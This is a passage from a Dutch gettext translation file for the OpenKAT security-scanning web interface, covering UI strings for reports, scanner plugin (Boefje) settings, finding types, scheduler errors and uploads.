\"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\"De tabel hieronder toont aan welke rapporten zijn gekozen om dit rapport te \"\n\"genereren, inclusief een rapportomschrijving.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"Geen rapporttypen gevonden.\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\"De tabel hieronder toont alle benodigde of optionele plug-ins voor de \"\n\"geselecteerde rapporten.\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"Vereiste en optionele plug-ins\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"Plug-in ingeschakeld\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"Plug-in-opties\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"Plug-in-scanlevel\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"Ingeschakeld.\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"vereist\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"optioneel\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"Extra info plug-in\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\"Er zijn geen vereiste of optionele plug-ins nodig voor de geselecteerde \"\n\"rapporttypes.\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"Selecteer objecten\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"Selecteer rapporttypes\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"Instellingen exporteren\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"Rapport opslaan\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"U hebt niet de benodigde rechten om plug-ins in te schakelen.\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"Selecteer minstens één OOI om door te gaan.\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"Selecteer minstens één rapporttype om door te gaan.\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\"Er zijn geen gegevens gevonden voor %(report_types). Object(en) bestaan niet \"\n\"op %(date)s.\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"Toon rapport\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"Not enough permissions\"\nmsgstr \"Onvoldoende rechten\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"Recept '{}' succesvol verwijderd\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"Recipe not found.\"\nmsgstr \"Recept niet gevonden\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"No schedule or recipe selected\"\nmsgstr \"Geen schema of recept geselecteerd\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\"Schema succesvol uitgeschakeld. '{}'wordt niet automatisch aangemaakt tenzij \"\n\"het weer wordt ingeschakeld.\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"Schema succesvol ingeschakeldy. '{}' wordt volgens schema aangemaakt.\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\"Er is een onverwachte fout opgetreden, controleer de logbestanden voor meer \"\n\"info.\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"Ander OOI type geselecteerd dan Rapport\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"Met succes verwijderd.\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\"Multi organisatierapporten kunnen niet worden herpland. Het bestaat uit \"\n\"geïmporteerde data van verschillende organisaties en is niet op nieuw \"\n\"gegenereerde data gebaseerd.\"\n\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"Rerun succesvol. Het duurt even voor het nieuwe rapport is aangemaakt.\"\n\n#: reports/views/report_overview.py\n#, fuzzy, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\"Kan %s, niet opnieuw uitvoeren omdat het recept voor dit rapport uitgezet of \"\n\"verwijderd is.\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"Hernoemen mislukt. Lege rapportnaam gevonden.\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"Rapportnamen en rapporten komen niet overeen.\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"Rapporten met succes hernoemd.\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"Rapport {} kon niet worden hernoemd.\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"1: Selecteer objecten\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"2: Kies rapporttypes\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"3: Configuratie\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"4: Instellingen exporteren\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"3: Instellingen exporteren\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"Datum\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"De gekozen datum ligt in de toekomst. Kies een andere datum.\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"Bijvoorbeeld: -sTU --top-ports 1000\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"JSON-schema\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"Objecttype invoeren\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"Uitvoer mimetypes\"\n\n#: tools/forms/boefje.py\n#, fuzzy\nmsgid \"Scan type\"\nmsgstr \"Scan-type\"\n\n#: tools/forms/boefje.py\n#, fuzzy\nmsgid \"Interval amount\"\nmsgstr \"Intervalgrootte\"\n\n#: tools/forms/boefje.py\n#, fuzzy\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\"Specificeer het scan-interval voor dit Boefje. De standaard is 24 uur. \"\n\"Bijvoorbeeld: 5 minuten laat het Boefje elke 5 minuten scannen.\"\n\n#: tools/forms/boefje.py\n#, fuzzy\nmsgid \"Interval frequency\"\nmsgstr \"Interval-frequentie\"\n\n#: tools/forms/boefje.py\n#, fuzzy\nmsgid \"Object creation/change\"\nmsgstr \"Objectaanmaak/-wijziging\"\n\n#: tools/forms/boefje.py\n#, fuzzy\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\"Kies of het boefje moet runnen na aanmaken en/of wijzigen van een object. \"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"KAT-ID\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"Uniek ID binnen OpenKAT, voor dit type\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"Titel\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"Een passende titel voor dit bevindingstype\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"Omschrijf het bevindingstype\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"Risico\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"Oplossing\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"Hoe kan dit worden opgelost?\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"Beschrijf hoe dit type bevinding kan worden opgelost\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"Referenties\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"Referenties over de oplossing\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"Voeg bronnen of referenties over de oplossing toe\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"Omschrijving impact\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"Beschrijf de impact van de oplossing\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"Oplossing kans\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"Impact van de oplossing\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"Benodigde inzet\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"ID moet beginnen met \"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"Bevindingstype bestaat al\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"Selecteer een optie\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"Bewijs\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"Voer bewijs van uw bevinding in\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"Omschrijf uw bevinding\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"Reproduceer bevinding\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"Leg uit hoe deze bevinding kan worden gereproduceerd\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"Datum/Tijd (UTC)\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"Doc! Ik kom uit de toekomst, ik ben hier om je terug te brengen!\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"Object bestaat niet\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"Laat niet-gedempte bevindingen zien\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"Laat gedempte bevindingen zien\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"Toon gedempte en niet-gedempte bevindingen\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"Filteren op ernst\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"Gedempte bevindingen uitsluiten\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"Zoeken\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"Object-ID bevat (hoofdlettergevoelig)\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"Filtertypes\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"Vrijwaringsniveau\"\n\n#: tools/forms/ooi.py\n#, fuzzy\nmsgid \"Next scan\"\nmsgstr \"Volgende scan\"\n\n#: tools/forms/ooi.py\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"Toon objecten die niet overeenkomen met het scanlevel van het Boefje.\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"Toon Boefjes die het vrijwaringsniveau van OOI’s overschrijden.\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\"Alle boefjes met een scanlevel dat lager is dan of gelijk is aan het \"\n\"vrijwaringsniveau mogen dit object scannen.\"\n\n#: tools/forms/ooi.py\n#, fuzzy\nmsgid \"Expires by (UTC)\"\nmsgstr \"Verloopt op (UTC)\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"optie\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"Kies optioneel een {option_label}\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"Selecteer een {option_label}\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"Filter op vrijwaringsniveau\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"Filter op vrijwaringstype\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"Van\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"Tot\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"Geannuleerd\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"Voltooid\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"Afgeleverd\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"Mislukt\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"In de wachtrij\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"Draaiend\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"Zoeken op objectnaam\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"--- Alles tonen ---\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"aanbeveling\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"laag\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"midden\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"hoog\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"zeer hoog\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"kritisch\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"snelle oplossing\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"Verklaard\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"Geërfd\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"Leeg\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"Voeg één bevindingstype per regel toe.\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"Voer de datum en tijd van uw bevinding in (UTC)\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"Voeg de datum en tijd toe wanneer het raw-bestand gegenereerd is (UTC)\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\"OpenKAT bewaart een tijdsindicatie bij elke observatie, hierdoor is het \"\n\"mogelijk de status van de objecten op elk moment van de tijd in de historie \"\n\"te bekijken. Selecteer een datum om naar die weergave te springen.\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\"<p>De naam van het Docker-image. Bijvoorbeeld: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In Openkat, zullen alle Boefjes met dezelfde containerafbeelding \"\n\"gezien worden als ‘varianten’ en zullen samen worden getoond op de Boefje-\"\n\"detailpagina.</p> \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\"Een korte beschrijving van het Boefje waarin wordt uitgelegd wat het kan. \"\n\"Deze wordt zowel in de KAT-alogus als op de detailpagina van het Boefje \"\n\"weergegeven.\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\"Selecteer het objecttype dat uw Boefje gebruikt. Om meerdere objecten te \"\n\"selecteren, druk en houd de ‘ctrl’/‘command’-toets vast en selecteer de \"\n\"items die u wilt. \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\"<p>Als er nog andere instellingen nodig zijn voor uw Boefje, voeg deze dan \"\n\"toe als JSON-schema, laat anders het veld leeg of ‘null’.</p> <p> Deze JSON \"\n\"wordt gebruikt als de basis voor een formulier voor de gebruiker. Als de \"\n\"gebruiker deze Boefje inschakelt, kunnen ze extra informatie geven. \"\n\"Bijvoorbeeld, het kan een API-sleutel bevatten dat het script vereist.</p> \"\n\"<p>Meer informatie over hoe het schema.json-bestand er uitziet kan men <a \"\n\"href='https://docs.openkat.nl/developer_documentation/development_tutorial/\"\n\"creating_a_boefje.html'>hier </a> bekijken.</p> \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\"<p>Voeg een paar mimetypes toe die door deze Boefje worden geproduceerd, \"\n\"door komma’s gescheiden. Bijvoorbeeld: <i>‘text/html’</i>, <i>‘image/jpeg’</\"\n\"i> of <i>‘boefje/{boefje-id}’</i></p> <p>Deze uitvoer van mimetypes zal op \"\n\"de Boefje-detailspagina als informatie voor andere gebruikers worden \"\n\"getoond. </p> \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\"<p>Selecteer een vrijwaringsniveau voor uw Boefje. Lees voor meer informatie \"\n\"over de verschillende vrijwaringsniveaus de <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentatie</a>.\"\n\"</p> \"\n\n#: tools/forms/settings.py\n#, fuzzy\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\"Geef aan of dit Boefje objecten scant. Het kan runnen met een bepaald \"\n\"interval of het kan elke keer runnen wanneer een object is gemaakt of \"\n\"gewijzigd. \"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"Diepte van de boom.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"Alleen CSV ondersteund\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"Bestand kon niet worden gedecodeerd\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"Geen bestand geselecteerd\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"Het geüploade bestand is leeg.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"Het aantal kolommen voldoet niet aan de eisen.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"OOI-type in CSV komt niet overeen met de vereisten.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"Er is een probleem ontstaan tijdens het laden van het csv-bestand:\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"CSV-bestand uploaden\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"Accepteert alleen CSV-bestanden.\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"Objecttype\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"Selecteer een type waarvan objecten worden toegevoegd.\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"Mime-types\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\"<p>Voeg een set mime-types toe, gescheiden door komma’s, bijvoorbeeld:</\"\n\"p><p><i>‘tekst/html, afbeelding/jpeg’</i> of <i>‘boefje/dns-records’</i>.</\"\n\"p><p>Mime-types worden gebruikt om de juiste normalizer aan een onbewerkt \"\n\"bestand te koppelen. Wanneer het mime-type ‘boefje/dns-records’ is \"\n\"toegevoegd, verwacht de normalizer het raw-bestand met dns-scaninformatie.</\"\n\"p>\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"Raw-bestand uploaden\"\n\n#: tools/forms/upload_raw.py\n#, fuzzy\nmsgid \"Input or Scan OOI\"\nmsgstr \"Invoer of Scan OOI\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"Klik om een van de beschikbare opties te selecteren, of type zelf een\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"OOI bestaat niet, probeer een andere valide tijd\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\"Een korte code met alleen kleine letters, cijfers, koppeltekens of \"\n\"onderstrepingstekens die in URL's en paden wordt gebruikt.\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\"Deze organisatiecode is gereserveerd door OpenKAT en kan niet worden \"\n\"gebruikt. Kies een andere organisatiecode.\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"nieuw\"\n\n#: tools/templatetags/ooi_extra.py\n#, fuzzy\nmsgid \"Unknown user\"\nmsgstr \"Onbekende gebruiker\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"Leden\"\n\n#: rocky/forms.py\n#, fuzzy\nmsgid \"Current status\"\nmsgstr \"Huidige status\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"Actief\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"Nieuw\"\n\n#: rocky/forms.py\n#, fuzzy\nmsgid \"Account status\"\nmsgstr \"Account status\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"Niet geblokkeerd\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\"U hebt dit lid vertrouwd met een vrijwaringsniveau L{}. Dit lid heeft \"\n\"minimaal een vrijwaringsniveau L{} nodig om een correcte onboarding uit te \"\n\"voeren. Bewerk dit lid en wijzig indien nodig het vrijwaringsniveau.\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"Dat paginanummer is geen geheel getal\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"Dat paginanummer is minder dan 1\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"Die pagina bevat geen resultaten\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\"Er is een onverwachte fout opgetreden in de Scheduler. Controleer de \"\n\"Scheduler-logboeken voor meer details.\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\"Verbinding maken met de Scheduler mislukt. Service is mogelijk niet \"\n\"beschikbaar.\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"Uw verzoek kon niet worden gevalideerd.\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"Taak is niet gevonden.\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\"Scheduler ontvangt te veel verzoeken. Verhoog SCHEDULER_PQ_MAXSIZE of wacht \"\n\"tot de taak gereed is.\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\"Fout verzoek. Uw verzoek kan niet worden geïnterpreteerd door de Scheduler.\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\"De Scheduler heeft een conflict ontvangen. Uw taak staat al in de wachtrij.\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\"Er is een HTTP-fout gebeurd. Zie Scheduler-logboeken voor meer informatie.\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"Schemalijst: \"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"Taaklijst: \"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"Lichtblauw\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"Blauw\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"Donkerblauw\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"Lichtgroen\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"Groen\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"Donkergroen\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"Lichtgeel\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"Geel\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"Donkergeel\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr 